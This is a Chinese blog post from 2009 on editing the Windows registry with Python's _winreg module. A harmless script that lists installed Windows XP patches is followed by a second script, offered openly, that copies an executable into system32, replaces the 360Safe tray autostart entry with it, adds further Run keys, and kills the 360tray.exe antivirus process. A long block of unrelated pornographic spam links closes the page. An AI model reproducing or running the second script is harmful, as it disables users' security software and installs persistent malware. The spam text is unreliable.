• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            隨筆-167  評論-8  文章-0  trackbacks-0

            Python的標準庫中,_winreg.pyd可以操作Windows的注冊表,另外第三方的win32庫封裝了大量的Windows API,使用起來也很方便。不過這里介紹的是使用_winreg操作注冊表,畢竟是Python自帶的標準庫,無需安裝第三方庫。

            下面的例子是通過Python獲取Windows XP下已經安裝的補丁號。Windows的補丁號都在“HKEY_LOCAL_MACHINE\SOFTWARE\\Microsoft\\ Updates”下,通過循環下面所有的目錄節點,如果找到的名稱符合正則表達式KB(\d{6}).*,則表示是一個補丁號。

            從例子可以看出操作起來非常的簡單和快速。

             1 # -*- coding: utf-8 -*-
             2 # 獲取Windows的已打的補丁號
             3 from _winreg import *
             4 import re
             5 
             6 def subRegKey(key, pattern, patchlist):
             7     # 個數
             8     count = QueryInfoKey(key)[0]
             9     for index in range(count):
            10         # 獲取標題
            11         name = EnumKey(key, index)
            12         result = patch.match(name)
            13         if result:
            14             patchlist.append(result.group(1))
            15         sub = OpenKey(key, name)
            16         subRegKey(sub, pattern, patchlist)
            17         CloseKey(sub)
            18 
            19 if __name__ == '__main__':
            20     patchlist = []
            21     updates = 'SOFTWARE\\Microsoft\\Updates'
            22     patch = re.compile('(KB\d{6}).*')
            23     key = OpenKey(HKEY_LOCAL_MACHINE, updates)
            24     subRegKey(key, patch, patchlist)
            25     print 'Count: ' + str(len(patchlist))
            26     for p in patchlist:
            27         print p
            28     CloseKey(key)
            29 

            用python修改注冊表干掉360safe

             1 import _winreg 
             2 import os 
             3 import shutil 
             4 
             5 #復制自身 
             6 shutil.copyfile('K3.exe','c:\WINDOWS\system32\K3.exe'
             7 
             8 #把360啟動改為自身 
             9 run = _winreg.OpenKey( 
            10       _winreg.HKEY_LOCAL_MACHINE, 
            11       "SOFTWARE\Microsoft\Windows\CurrentVersion\Run",0,_winreg.KEY_WRITE 
            12       ) 
            13 
            14 _winreg.SetValueEx( 
            15       run,"360Safetray",0,_winreg.REG_SZ, 
            16       r"C:\WINDOWS\system32\k3.exe" 
            17       ) 
            18 
            19 #添加自啟動 
            20 self = _winreg.OpenKey( 
            21       _winreg.HKEY_LOCAL_MACHINE, 
            22       "SOFTWARE\Microsoft\Windows\CurrentVersion\Run",0,_winreg.KEY_WRITE 
            23       ) 
            24 
            25 _winreg.SetValueEx( 
            26       run,"k3",0,_winreg.REG_SZ, 
            27       r"C:\WINDOWS\system32\k3.exe" 
            28       ) 
            29 #添加所有用戶啟動 
            30 allrun = _winreg.OpenKey( 
            31       _winreg.HKEY_LOCAL_MACHINE, 
            32       "Microsoft\Windows\CurrentVersion\policies\Explorer\Run",0,_winreg.KEY_WRITE 
            33       ) 
            34 _winreg.SetValueEx( 
            35       allrun,"k3",0,_winreg.REG_SZ, 
            36       r"C:\WINDOWS\system32\k3.exe" 
            37       ) 
            38 
            39 #終止360進程 
            40 os.popen("ntsd -c q -pn 360tray.exe cmd")


            posted on 2009-07-31 19:12 老馬驛站 閱讀(819) 評論(0)  編輯 收藏 引用 所屬分類: python
            久久w5ww成w人免费| 国产精品亚洲综合专区片高清久久久| 久久亚洲欧美日本精品| a级毛片无码兔费真人久久| 久久99久久无码毛片一区二区| 波多野结衣久久一区二区| 国产综合久久久久| 久久天天躁夜夜躁狠狠| 99久久国产亚洲高清观看2024| 久久久久久久波多野结衣高潮| 色偷偷偷久久伊人大杳蕉| 久久婷婷色香五月综合激情| 亚洲国产精品婷婷久久| 国内精品伊人久久久久妇| 久久99精品国产99久久| 国产精品久久久久国产A级| 久久久WWW成人| 国产精品九九久久免费视频| 女人高潮久久久叫人喷水| 天天综合久久久网| 午夜人妻久久久久久久久| 亚洲AV无码一区东京热久久| 狠狠久久亚洲欧美专区 | 国产美女久久精品香蕉69| 亚洲精品成人久久久| 九九久久精品无码专区| 久久午夜伦鲁片免费无码| 亚洲日本va午夜中文字幕久久 | 亚洲综合婷婷久久| 人妻无码中文久久久久专区| 久久午夜免费视频| 亚洲国产精品无码久久青草| 久久天天躁狠狠躁夜夜不卡| 一本色道久久综合狠狠躁篇| 91亚洲国产成人久久精品网址| 精品久久久久久无码专区| 亚洲综合日韩久久成人AV| 99久久成人国产精品免费| 精品水蜜桃久久久久久久| 国产福利电影一区二区三区久久老子无码午夜伦不 | 久久综合综合久久综合|